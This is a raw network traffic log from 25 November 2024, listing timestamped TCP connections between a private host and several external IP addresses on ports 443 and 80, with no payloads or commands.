Nov 25, 2024 16:21:53.311737061 CET	443	49895	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.312254906 CET	49895	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.312259912 CET	443	49895	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.373466969 CET	443	49896	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.373936892 CET	49896	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.373970032 CET	443	49896	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.374398947 CET	49896	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.374404907 CET	443	49896	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.447423935 CET	49889	80	192.168.2.5	185.215.113.16
Nov 25, 2024 16:21:53.555521965 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:53.601234913 CET	443	49894	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.601310015 CET	443	49894	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.601357937 CET	49894	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.606481075 CET	49894	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.606511116 CET	443	49894	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.606534958 CET	49894	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.606544018 CET	443	49894	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.619822025 CET	49900	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.619873047 CET	443	49900	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.620277882 CET	49900	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.625773907 CET	49900	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.625793934 CET	443	49900	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.675736904 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:53.815789938 CET	443	49893	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.815871954 CET	443	49893	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.815984011 CET	49893	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.816591024 CET	49893	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.816617966 CET	443	49893	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.816636086 CET	49893	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.816643953 CET	443	49893	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.826791048 CET	49901	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.826814890 CET	443	49901	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.826997042 CET	49901	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.827965021 CET	49901	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.827980995 CET	443	49901	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.917474031 CET	443	49896	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.917537928 CET	443	49896	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.917584896 CET	49896	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.920593977 CET	49896	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.920608997 CET	443	49896	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.924233913 CET	49902	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.924268007 CET	443	49902	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.924369097 CET	49902	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.925678968 CET	49902	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.925693035 CET	443	49902	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.932501078 CET	443	49895	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.932562113 CET	443	49895	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.932611942 CET	49895	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.932775974 CET	49895	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.932784081 CET	443	49895	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.936547995 CET	49903	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.936563969 CET	443	49903	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:53.936724901 CET	49903	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.937052965 CET	49903	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:53.937064886 CET	443	49903	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:54.026526928 CET	443	49897	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:54.027074099 CET	49897	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:54.027136087 CET	443	49897	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:54.027539968 CET	49897	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:54.027554989 CET	443	49897	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:54.156903982 CET	49813	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:54.156930923 CET	443	49813	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:54.157218933 CET	49814	443	192.168.2.5	172.64.41.3
Nov 25, 2024 16:21:54.157241106 CET	443	49814	172.64.41.3	192.168.2.5
Nov 25, 2024 16:21:54.157526016 CET	49904	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:54.157562971 CET	443	49904	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:54.157681942 CET	49904	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:54.157867908 CET	49904	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:54.157882929 CET	443	49904	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:54.480844021 CET	443	49897	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:54.480907917 CET	443	49897	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:54.480969906 CET	49897	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:54.481247902 CET	49897	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:54.481276989 CET	443	49897	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:54.481292009 CET	49897	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:54.481301069 CET	443	49897	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:54.483800888 CET	49905	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:54.483834982 CET	443	49905	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:54.483892918 CET	49905	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:54.484055042 CET	49905	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:54.484069109 CET	443	49905	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:54.506078959 CET	80	49765	185.215.113.206	192.168.2.5
Nov 25, 2024 16:21:54.506139040 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:54.618057966 CET	443	49898	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:54.618829966 CET	49898	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:54.618863106 CET	443	49898	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:54.619591951 CET	49898	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:54.619596958 CET	443	49898	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:54.619647026 CET	49898	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:54.619656086 CET	443	49898	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:54.621448040 CET	443	49899	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:54.621848106 CET	49899	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:54.621916056 CET	443	49899	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:54.622643948 CET	49899	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:54.622665882 CET	443	49899	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:54.622709990 CET	49899	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:54.622725964 CET	443	49899	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:55.277291059 CET	443	49898	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:55.277318001 CET	443	49898	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:55.277369976 CET	49898	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:55.277385950 CET	443	49898	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:55.277913094 CET	443	49898	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:55.278093100 CET	49898	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:55.386189938 CET	443	49904	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:55.430740118 CET	49904	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:55.480377913 CET	443	49900	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:55.484530926 CET	49904	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:55.484555960 CET	443	49904	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:55.485989094 CET	443	49904	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:55.486058950 CET	49904	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:55.492718935 CET	49904	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:55.492836952 CET	443	49904	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:55.496710062 CET	49904	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:55.496726990 CET	443	49904	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:55.524513960 CET	49900	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:55.540124893 CET	49904	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:55.550487995 CET	49898	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:55.550520897 CET	443	49898	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:55.550535917 CET	49898	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:55.550542116 CET	443	49898	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:55.568052053 CET	443	49901	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:55.618262053 CET	49901	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:55.643666029 CET	49900	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:55.643690109 CET	443	49900	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:55.644288063 CET	49900	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:55.644294024 CET	443	49900	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:55.645665884 CET	49901	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:55.645679951 CET	443	49901	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:55.646073103 CET	49901	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:55.646080017 CET	443	49901	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:55.671933889 CET	49906	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:55.671989918 CET	443	49906	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:55.672046900 CET	49906	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:55.672451019 CET	49906	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:55.672471046 CET	443	49906	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:55.727214098 CET	443	49903	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:55.728319883 CET	49903	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:55.728344917 CET	443	49903	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:55.728791952 CET	49903	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:55.728796959 CET	443	49903	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:55.782388926 CET	443	49902	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:55.786015987 CET	49902	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:55.786031008 CET	443	49902	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:55.786482096 CET	49902	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:55.786485910 CET	443	49902	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:55.802248955 CET	443	49899	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:55.802272081 CET	443	49899	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:55.802308083 CET	443	49899	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:55.802335024 CET	49899	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:55.802371979 CET	443	49899	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:55.802395105 CET	49899	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:55.803098917 CET	49899	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:55.803139925 CET	443	49899	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:55.803153992 CET	49899	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:55.803280115 CET	443	49899	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:55.803320885 CET	443	49899	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:55.803416014 CET	49899	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:55.828356981 CET	443	49904	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:55.828383923 CET	443	49904	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:55.828423977 CET	49904	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:55.828440905 CET	443	49904	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:55.828457117 CET	443	49904	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:55.828483105 CET	49904	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:55.828517914 CET	49904	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:55.834404945 CET	49904	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:55.834422112 CET	443	49904	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:55.844084024 CET	49907	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:55.844131947 CET	443	49907	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:55.844182968 CET	49907	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:55.844352961 CET	49907	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:55.844367981 CET	443	49907	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:55.892019987 CET	49908	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:55.892060995 CET	443	49908	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:55.892272949 CET	49908	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:55.892324924 CET	49908	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:55.892337084 CET	443	49908	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:55.985492945 CET	443	49900	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:55.985570908 CET	443	49900	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:55.985654116 CET	49900	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:55.997548103 CET	49900	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:55.997570992 CET	443	49900	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:55.997585058 CET	49900	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:55.997590065 CET	443	49900	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.001229048 CET	49909	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.001259089 CET	443	49909	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.001321077 CET	49909	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.001553059 CET	49909	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.001564980 CET	443	49909	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.016834974 CET	443	49901	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.016908884 CET	443	49901	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.016979933 CET	49901	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.017065048 CET	49901	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.017091036 CET	443	49901	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.017105103 CET	49901	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.017112017 CET	443	49901	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.019104004 CET	49910	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.019129038 CET	443	49910	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.019378901 CET	49910	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.019527912 CET	49910	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.019543886 CET	443	49910	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.184340000 CET	443	49903	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.184408903 CET	443	49903	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.184747934 CET	49903	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.184885025 CET	49903	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.184906006 CET	443	49903	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.184917927 CET	49903	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.184923887 CET	443	49903	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.188043118 CET	49911	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.188082933 CET	443	49911	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.188184977 CET	49911	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.188319921 CET	49911	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.188334942 CET	443	49911	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.242660999 CET	443	49902	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.242728949 CET	443	49902	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.242816925 CET	49902	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.242997885 CET	49902	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.243012905 CET	443	49902	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.243021965 CET	49902	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.243027925 CET	443	49902	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.245985985 CET	49912	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.246042013 CET	443	49912	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.246162891 CET	49912	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.246347904 CET	49912	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.246362925 CET	443	49912	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.416837931 CET	443	49905	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.418098927 CET	49905	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.418123960 CET	443	49905	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.418638945 CET	49905	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.418643951 CET	443	49905	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.865336895 CET	443	49905	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.865406036 CET	443	49905	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.865550041 CET	49905	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.865833998 CET	49905	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.865853071 CET	443	49905	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.865865946 CET	49905	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.865870953 CET	443	49905	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.869309902 CET	49913	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.869342089 CET	443	49913	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:56.869427919 CET	49913	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.869748116 CET	49913	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:56.869761944 CET	443	49913	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:57.114769936 CET	443	49907	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:57.115142107 CET	49907	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:57.115159988 CET	443	49907	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:57.115936995 CET	443	49907	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:57.116309881 CET	49907	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:57.116516113 CET	49907	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:57.116532087 CET	443	49907	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:57.159328938 CET	443	49907	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:57.165164948 CET	49907	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:57.445693016 CET	443	49906	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:57.446578026 CET	49906	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:57.446614981 CET	443	49906	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:57.447416067 CET	49906	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:57.447423935 CET	443	49906	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:57.447458982 CET	49906	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:57.447468042 CET	443	49906	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:57.559220076 CET	49765	80	192.168.2.5	185.215.113.206
Nov 25, 2024 16:21:57.574672937 CET	443	49907	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:57.574711084 CET	443	49907	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:57.574719906 CET	443	49907	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:57.574789047 CET	49907	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:57.574795961 CET	443	49907	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:57.575103045 CET	49907	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:57.597949982 CET	49907	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:57.597985029 CET	443	49907	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:57.603353977 CET	49914	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:57.603456974 CET	443	49914	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:57.605709076 CET	49914	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:57.605957031 CET	49914	443	192.168.2.5	104.117.182.66
Nov 25, 2024 16:21:57.605993032 CET	443	49914	104.117.182.66	192.168.2.5
Nov 25, 2024 16:21:57.742345095 CET	443	49910	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:57.742888927 CET	49910	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:57.742918015 CET	443	49910	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:57.743437052 CET	49910	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:57.743442059 CET	443	49910	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:57.780819893 CET	443	49908	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:57.781327009 CET	49908	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:57.781342983 CET	443	49908	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:57.782023907 CET	49908	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:57.782028913 CET	443	49908	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:57.782082081 CET	49908	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:57.782090902 CET	443	49908	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:57.783226967 CET	443	49909	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:57.783953905 CET	49909	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:57.783974886 CET	443	49909	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:57.784480095 CET	49909	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:57.784486055 CET	443	49909	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:57.908200979 CET	443	49911	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:57.908663034 CET	49911	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:57.908675909 CET	443	49911	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:57.909136057 CET	49911	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:57.909138918 CET	443	49911	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.028130054 CET	443	49912	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.028700113 CET	49912	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.028712988 CET	443	49912	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.029330969 CET	49912	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.029335022 CET	443	49912	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.123101950 CET	443	49906	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:58.123120070 CET	443	49906	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:58.123179913 CET	443	49906	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:58.123209000 CET	49906	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:58.123239994 CET	49906	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:58.123680115 CET	49906	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:58.123701096 CET	443	49906	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:58.123716116 CET	49906	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:58.123723030 CET	443	49906	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:58.138533115 CET	49915	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:58.138566017 CET	443	49915	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:58.138933897 CET	49915	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:58.138933897 CET	49915	443	192.168.2.5	20.190.147.1
Nov 25, 2024 16:21:58.138963938 CET	443	49915	20.190.147.1	192.168.2.5
Nov 25, 2024 16:21:58.237962008 CET	443	49909	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.238024950 CET	443	49909	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.238333941 CET	49909	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.238333941 CET	49909	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.238370895 CET	49909	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.238389015 CET	443	49909	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.241426945 CET	49916	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.241467953 CET	443	49916	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.241544962 CET	49916	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.241714954 CET	49916	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.241730928 CET	443	49916	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.327322006 CET	443	49910	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.327397108 CET	443	49910	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.327441931 CET	49910	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.327670097 CET	49910	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.327686071 CET	443	49910	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.327707052 CET	49910	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.327713013 CET	443	49910	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.330576897 CET	49917	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.330605984 CET	443	49917	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.330774069 CET	49917	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.330945015 CET	49917	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.330970049 CET	443	49917	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.348728895 CET	443	49911	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.348819017 CET	443	49911	13.107.246.63	192.168.2.5
Nov 25, 2024 16:21:58.348954916 CET	49911	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.348995924 CET	49911	443	192.168.2.5	13.107.246.63
Nov 25, 2024 16:21:58.349005938 CET	443	49911	13.107.246.63	192.168.2.5
